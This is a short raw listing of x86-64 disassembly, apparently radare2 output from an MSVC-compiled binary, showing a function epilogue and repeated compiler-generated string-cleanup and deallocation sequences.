mov rdi, qword [rsp + 0x208]
mov rsi, qword [rsp + 0x210]
mov rbx, qword [rsp + 0x218]
add rsp, 0x220
pop r14
pop r13
pop rbp
ret
mov rdx, qword [rbp + 0x60]
cmp rdx, 0x10
jb 0x1401bbaea
mov rcx, qword [rbp + 0x48]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401bbae1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401bbbac
call fcn.1403cad84
mov rcx, qword [rbp - 0x70]
mov rdx, qword [rbp - 0x78]
mov qword [rbp + 0x58], r14
mov qword [rbp + 0x60], 0xf
mov byte [rbp + 0x48], 0
cmp rdx, 0x10
jb 0x1401bbb36
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401bbb2d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401bbbac
call fcn.1403cad84
mov rcx, qword [rbp - 0x70]
mov rdx, qword [rbp - 0x40]
mov qword [rbp - 0x80], r14
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
cmp rdx, 0x10
jb 0x1401bbb82
mov rcx, qword [rbp - 0x58]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401bbb79
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401bbbac
call fcn.1403cad84
mov rcx, qword [rbp - 0x70]
mov rdx, qword [rsp + 0x68]
mov qword [rbp - 0x48], r14
mov qword [rbp - 0x40], 0xf
mov byte [rbp - 0x58], 0
cmp rdx, 0x10
jb 0x1401bb9d3
jmp 0x1401bb99d
call fcn.1401391d8
int3
call fcn.1403d7020
int3
call fcn.1401391d8
int3
call fcn.1403d7020
int3
call fcn.1403d7020
int3
call fcn.1401391d8
int3